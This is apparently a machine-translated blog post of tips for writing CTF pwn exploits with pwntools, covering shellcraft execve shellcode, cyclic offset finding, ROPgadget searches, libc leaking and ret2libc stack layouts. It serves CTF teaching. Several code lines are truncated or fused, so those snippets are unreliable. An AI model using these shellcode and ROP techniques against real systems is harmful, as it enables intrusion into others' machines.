Tips for writing exp

Keywords: Cyber Security pwn

Tips for writing exp

1. Code alignment

When filling in the address in exp, pay attention to the filling of code length

2. Fill to specified length

3. Link the remote server or link the local file

# long-range
r = remote('objective IP Or target URL',Destination port number)
# local
r = process('./file name')

4. Format conversion

The 32-bit Program corresponds to p32 / u32, and the 64 bit program corresponds to p64 / u64

>>> p32(0x78739736)
>>> hex(u32('6\x97sx'))

5. Environmental variables

Context is a function used by pwntools to set the environment. In many cases, due to different binary files, we may need to set some environment settings to run exp normally. For example, some need assembly, but the assembly of 32 is different from that of 64. If we do not set context, some problems will be caused.

context(os='linux', arch='amd64', log_level='debug')  # If not set, the default is 32 bits

This sentence means:

  1. The os system is set as linux system. When completing the ctf topic, most pwn topic systems are linux
  2. The architecture of arch is set to amd64. You can simply think that it is set to 64 bit mode, and the corresponding 32-bit mode is' i386 '
  3. log_level sets the level of log output to debug. This sentence is generally set during debugging, so pwntools will print out the complete IO process, making debugging more convenient and avoiding some IO related errors when completing CTF problems.

6. Obtain the machine code of assembly instructions

>>> asm('mov eax, 0')

Because asm is related to architecture, you must set relevant context architecture parameters before using it

7. Give the authority to the user


8. shellcode

pwntools provides simple shellcode support. You can get simple shellcode by using shellcraft()

Its return value is the assembly instruction

>>> print(
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push b'/bin///sh\x00' */
    push 0x68
    push 0x732f2f2f
    push 0x6e69622f
    mov ebx, esp
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1016972
    xor ecx, ecx
    push ecx /* null terminate */
    push 4
    pop ecx
    add ecx, esp
    push ecx /* 'sh\x00' */
    mov ecx, esp
    xor edx, edx
    /* call execve() */
    push SYS_execve /* 0xb */
    pop eax
    int 0x80

When using, it needs to be converted into machine code first

shellcode = asm(

Pwntools provides many shellcode s. For others, see:

9. ELF tools for operating ELF files

elf = ELF('pwn')

##10. Length measurement cyclic

cyclic Required length
cyclic -l Abnormal location (here, the abnormal location is given 4 bytes)

11. Receive data

recv(numb = Byte size,timeout = default) # Receive the specified number of bytes
p.recvn(N)   # Accept n (numeric) characters
recall()   # Always receive until EOF of file is reached
recvline(keepends = True)  # Receive a line, and keep ends is whether to keep the end of the line \ n
p.recvlines(N)  # Receive n (digital) line output
recvuntil(delims,drop = False)  # Read until the pattern of delims appears
recvrepeat(timeout=default)  # Continue receiving until EOF or timeout
p.interactive()   # Direct interaction is equivalent to returning to the shell mode, which is generally used after obtaining the shell

12. Send data

p.send(payload)  # Send payload
p.sendline(payload)  # Send payload and wrap (end \ n)
p.sendafter(some_string, payload)  # Some received_ After string, send your payload
p.sendlineafter(some_string, payload)  # Some received_ After string, send your payload and add a newline

13. Fill character, string right / left

When filling, you need to ensure that the filled characters and the original characters are of the same type

>>> type(str)
<class 'str'>
>>> tmp = b'A'
>>> print(tmp.ljust(10, b'B'))
>>> tmp2 = "A"
>>> type(tmp2)
<class 'str'>
>>> print(tmp2.ljust(10, 'B'))

14. Find ROP

You can use the ROPgadget tool to find available ROP S. The template is as follows:

ROPgadget --binary "param1"  --only 'pop|ret' | grep 'param2' 
# param1: file name
# param2: relevant register to search

Examples of usage are as follows:

$ ROPgadget --binary "./rop"  --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

$ ROPgadget --binary "./rop"  --only 'int'
Gadgets information
0x08049421 : int 0x80

15. Use the flat() function to format the payload

You need to use the context() function to declare arch in advance, otherwise p32 will be used for packaging by default

An example of using flat() is as follows:

payload = flat([b'A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, bin_sh, int_80h])

16.gdb debugging exp

Add this sentence where you want to debug breakpoints


17. Disclose common libc functions

libc = LibcSearcher('__libc_start_main', libc_start_main_addr)  # Use__ libc_start_main find libc version

18. Method of obtaining libc version

There are two ways to find libc version:

Method 1: use LibcSearcher() to automatically find libc

Because the libc version in the server cannot be determined, you can use the LibcSearcher() function to find the corresponding libc version. As shown in the figure below, LibcSearcher() function finds one of the following libcs. You can manually select one to test, and the worst is to test all of them.

[+] There are multiple libc that meet current constraints :
0 - libc6-i386_2.31-0ubuntu9.2_amd64
1 - libc6_2.31-0ubuntu9.2_i386
2 - libc6-i386_2.31-0ubuntu9_amd64
3 - libc6_2.31-0ubuntu10_i386
4 - libc-2.29-4-x86_64
5 - libc-2.29-2-x86_64
6 - libc6-i386_2.3.6-0ubuntu20.6_amd64
7 - libc6_2.31-0ubuntu9_i386
8 - libc-2.31-4-x86
9 - libc-2.31-5-x86
[+] Choose one :

Then the corresponding function dump() is.

Method 2: find libc manually

Use web site: , you can find the libc version of this function according to the last twelve bits.

For example, we know _ _ l i b c _ s t a r t _ m a i n \_\_libc\_start\_main __ libc_ start_ The address of main is 0xf7d7cdf0, and its last twelve bits are df0:

Then you can know that the offset of system() function is 0x045830 and the offset of "/ bin/sh" is 0x192352.

Then the real address of system() is libc base address + 0x045830, and the same is true for "/ bin/sh".

19. Find string in file

The following three methods are used to find a string:

Method 1: IDA directly finds the string

shift+F12 to enter the string window

Double click the desired string to find the corresponding address:

You can find the address of the string at 0x08048720.

Method 2: ROPgadget search

Enter the following command to directly find the required string

$ ROPgadget --binary ret2libc1 --string "/bin/sh"
Strings information
0x08048720 : /bin/sh

Method 3: elfsearch() method

>>> from pwn import *
>>> elf = ELF("ret2libc1")
[*] '/mnt/c/Users/Chance/Desktop/ret2libc1/ret2libc1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
>>> hex(next("/bin/sh")))

Note: many times, the "/ bin/sh" string does not necessarily exist in the program. You can also try to find "sh\x00".

The above methods can directly find the address of the string.

If you use the strings tool to search, you can only see whether the string exists, but you can't get the specific address:

$ strings ret2libc1

20. Stack overflow determination offset method

Here are three methods for calculating offset: take CTF challenges \ PWN \ stackoverflow \ ret2text \ bamboofox-ret2text as an example

20.1 method 1: gdb manual calculation

Break point in gets() function

pwndbg> b gets
Breakpoint 1 at 0x8048460
pwndbg> r
Starting program: /mnt/c/Users/Chance/Desktop/bamboofox-ret2text/ret2text
There is something amazing here, do you know anything?

Stop at the gets position, step several times, and then enter several 'A'

pwndbg> n

Jump out of the gets() function

pwndbg> fin
Run till exit from #0  _IO_gets (buf=0xffffd21c "") at iogets.c:39
main () at ret2text.c:25
25          printf("Maybe I will tell you next time !");
Value returned is $1 = 0xffffd21c "AAAAAAAA"
─────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────
*EAX  0xffffd21c ◂— 'AAAAAAAA'
*EBX  0x0
*ECX  0xf7fb4580 (_IO_2_1_stdin_) ◂— 0xfbad2288
*EDX  0xffffd224 ◂— 0x0
 EDI  0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*ESI  0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*EBP  0xffffd288 ◂— 0x0
*ESP  0xffffd200 —▸ 0xffffd21c ◂— 'AAAAAAAA'
*EIP  0x80486b3 (main+107) ◂— mov    dword ptr [esp], 0x80487a4

View stack status

pwndbg> stack 40
00:0000│ esp  0xffffd200 —▸ 0xffffd21c ◂— 'AAAAAAAA'
01:0004│      0xffffd204 ◂— 0x0
02:0008│      0xffffd208 ◂— 0x1
03:000c│      0xffffd20c ◂— 0x0
... ↓
06:0018│      0xffffd218 —▸ 0xf7ffd000 ◂— 0x2bf24
07:001c│ eax  0xffffd21c ◂— 'AAAAAAAA'
... ↓
09:0024│ edx  0xffffd224 ◂— 0x0
0a:0028│      0xffffd228 ◂— 0x1000
... ↓
22:0088│ ebp  0xffffd288 ◂— 0x0

It is found that the address of v4 (eax) is 0xffffd21c and the address of ebp is 0xffd288, so the offset between them is 0xffd288 - 0xffd21c = 108

Then the length to be filled len = 108 + 4 = 112

20.2 method 2: cyclic tool calculation

Use the cyclic tool to generate a string with a length of 200:

$ cyclic 200

Then put the get () function inside gdb as input:

pwndbg> r
Starting program: /mnt/c/Users/Chance/Desktop/bamboofox-ret2text/ret2text
There is something amazing here, do you know anything?
Maybe I will tell you next time !
Program received signal SIGSEGV, Segmentation fault.

Found gdb report Segmentation fault. (stack overflow)

View its error message:

────────[ STACK ]───────
00:0000│ esp  0xffffd290 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\\'
01:0004│      0xffffd294 ◂— 'faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\\'
02:0008│      0xffffd298 ◂— 'gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\\'
03:000c│      0xffffd29c ◂— 'haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\\'
04:0010│      0xffffd2a0 ◂— 'iaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\\'
05:0014│      0xffffd2a4 ◂— 'jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\\'
06:0018│      0xffffd2a8 ◂— 'kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\\'
07:001c│      0xffffd2ac ◂— 'laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\\'
───────[ BACKTRACE ]───────────
 ► f 0 62616164
   f 1 62616165
   f 2 62616166
   f 3 62616167
   f 4 62616168
   f 5 62616169
   f 6 6261616a
   f 7 6261616b
   f 8 6261616c
   f 9 6261616d
   f 10 6261616e

gdb reports an error and stops at 0x62616164. You can use cyclic to view the length of the string at the stop

$ cyclic -l 0x62616164

20.3 method 3: View ida directly (not necessarily correct)

You can see the disassembly of v4 in ida as follows:

  int v4; // [esp+1Ch] [ebp-64h]

Therefore, it can be analyzed that the distance esp of v4 is + 1Ch and the distance ebp is - 64h

Then the length to be filled is 0x64 + 4 = 100 + 4 = 104. This result looks different from 112 analyzed earlier. yes! It's just different. Because ida is a static analysis tool, sometimes the offset analyzed is problematic. Therefore, if there is a way out between gdb analysis and ida analysis, I believe gdb analysis

21. Design experience of payload stack frame

21.1 function parameter location

The function is two units away from the stack frame, 4 bytes for x86 and 8 bytes for x64. For example, plt ["system"] in the figure below is an x86 stack, so its parameter "/ bin/sh" is 2 units at its high byte position.

The stack frame is as follows:

Here, the stack frame is explained. First, the return address is overwritten with plt ["system"]. There is nothing to say about this. When the ret instruction is executed, the program is hijacked into the system() function. At this time, the top of the stack is padding(4Bytes). Because the system() function is executed, prev ebp is pushed into the top of the stack. Then the padding in the stack is regarded as ret, and according to the x86 stack call rules, "/ bin/sh" will be regarded as the parameter of system(). So, system() gets the function parameters and starts execution.

21.2 jump of X86 multiple functions

When the number of functions to be called is less than or equal to 2, the stack frame can be designed as follows:

The reason why it can only be applied when the number of functions is less than or equal to 2 is that if the number of functions is greater than 2, the third function will be regarded as the parameter of the first function, and the construction of such stack frame fails.

Let's talk about the stack frame principle in the figure above. ret is hijacked, so eip points to plt ["gets"]. When the gets() function is called, prev ebp is pressed into the top of the stack. At this time, 1:address(buf2) will be used as the parameter of the gets() function, and plt ["system"] will be used as the ret at this time. Therefore, after the gets() function is executed, eip points to plt ["system"]. The gets () function reads the required string "/ bin/sh". When system() is called, prev ebp is pushed into the top of the stack, and 2:address(bufs) is regarded as the parameter of the system() function.

No matter how many functions are called, the stack frame can be designed as follows:

Explain the above stack frame flow:

When RET is hijacked by plt ["gets"], eip points to the gets() function and pushes prev ebp at the top of the stack. The parameter of the gets() function is the address of buf2. Enter "/ bin/sh" and the string is written to buf2. When the gets() function is completed, pop_ret is treated as RET, so eip performs pop_ret. pop_ret causes the 1:address(buf2) at the top of the stack to pop up, and then the program returns plt ["system"]. At this time, the 2:address(buf2) in the stack is used as the parameter of the system() function.


elf=ELF('./filename')  # Generate an object
elf.symbols['a_function']  # Find a_ Address of function['a_function']  # Find a_ got of function
elf.plt['a_function']  # Find a_ plt of function"some_characters"))  # Find some_characters can be strings, assembly code, or the address of a numeric value


rop = ROP('./filename')  # Create an object first
rop.raw('a'*32)  # Write 32 a's in the constructed rop chain'read', (0, elf.bss(0x80)))  # Call a function, which can be abbreviated as:, elf.bss(0x80))
rop.chain()  # This is the payload sent by the entire rop chain
rop.dump()  # Visually display the current rop chain
rop.migrate(base_stage)  # Transfer program flow to base_stage (address)
rop.unresolve(value)  # Give an address and parse the symbol['ecx','ebx'])  # Search for gadgets that operate on eax
rop.find_gadget(['pop eax','ret'])  # Search for gadgets like pop eax ret

Posted by Johnain on Mon, 20 Sep 2021 16:52:57 -0700